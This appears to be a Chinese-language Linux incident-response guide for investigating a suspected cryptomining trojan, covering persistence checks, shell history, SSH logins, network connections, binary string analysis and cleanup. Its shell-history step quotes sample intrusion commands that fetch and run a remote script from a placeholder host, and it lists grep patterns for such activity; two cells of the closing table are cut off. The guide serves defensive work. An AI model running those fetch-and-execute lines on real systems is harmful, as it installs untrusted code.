Linux 查找可疑进程来源:恶意挖矿木马排查

发现可疑进程 /root/.config/sys-update-daemon 时,正常系统进程不会放在用户家目录下,这类路径通常是挖矿木马或后门程序的伪装。

第一步:确认文件创建时间

stat /root/.config/sys-update-daemon

重点关注:

  • Modify:文件最后修改时间
  • Change:inode 变化时间
  • Birth:创建时间(支持 ext4)

通过创建时间可以缩小入侵时间窗口。

第二步:查看进程树

pstree -asp <PID>

或:

ps -ef --forest | grep sys-update

确认是什么进程启动了它(bash、cron、systemd、SSH session)。

第三步:检查 systemd 持久化

恶意程序最常见的持久化方式:

# ���看可疑服务
systemctl list-units --type=service | grep -i update

# 搜索 systemd 配置文件
grep -R "sys-update-daemon" /etc/systemd /usr/lib/systemd /root/.config/systemd 2>/dev/null

如果找到 ExecStart=/root/.config/sys-update-daemon,说明已持久化。

第四步:检查 cron 任务

crontab -l
grep -R "sys-update-daemon" /etc/cron* /var/spool/cron/ 2>/dev/null

第五步:查看 Shell 历史(关键)

history | grep -E "wget|curl|chmod|sys-update"
cat ~/.bash_history | grep -E "wget|curl|sys-update|chmod \+x"

常见入侵模式:

curl http://x.x.x.x/1.sh | bash
wget http://x.x.x.x/sys-update-daemon && chmod +x sys-update-daemon

如果 history 被清空,查历史文件大小是否异常:

ls -l ~/.bash_history
wc -l ~/.bash_history

第六步:查看 SSH 登录记录

last -a         # 最近登录历史,带 IP
lastlog         # 每个账户最后登录

重点看陌生 IP 地址。如果服务器 22 端口暴露公网,极可能被 SSH 爆破入侵。

第七步:查看网络连接

ss -antp | grep <PID>
lsof -i -P -n | grep sys-update

挖矿木马常见连接端口:333344445555777714444(矿池端口)。

第八步:静态分析二进制

sha256sum /root/.config/sys-update-daemon
strings /root/.config/sys-update-daemon | less

搜索关键字:

strings /root/.config/sys-update-daemon | grep -iE "xmrig|stratum|mining|pool|bot|cnc"

出现 xmrigstratum+tcp://、矿池域名基本确认是挖矿木马。

第九步:查最近被修改的文件

推断同时落地的其他恶意文件:

# 最近 1 天内修改的文件
find /root /tmp /var/tmp -type f -mtime -1 2>/dev/null

# 按具体时间查(替换时间为创建时间)
find / -type f -newermt "2026-05-28 00:30" ! -path "/proc/*" 2>/dev/null

隔离和清理

# 先杀进程
kill -9 <PID>

# 移除执行权限
chmod -x /root/.config/sys-update-daemon

# 检查是否自动重启(有守护进程)
ps -ef | grep sys-update

如果持续重启,说明还有守护脚本:

systemctl stop <service-name>
systemctl disable <service-name>
rm /etc/systemd/system/<service-name>.service

常见入侵向量

原因排查命令
SSH 弱密码/爆破`last -a
Redis 未授权redis-cli config get requirepass
Docker API 暴露`ss -antp
宝塔弱口令查 Panel 访问日志
Java/Jenkins/Log4j 漏洞查应用访问日志异常请求

公网暴露的服务器,SSH 默认端口 + 弱密码几乎一定会被爆破。建议:禁止密码登录,只允许 SSH 密钥认证。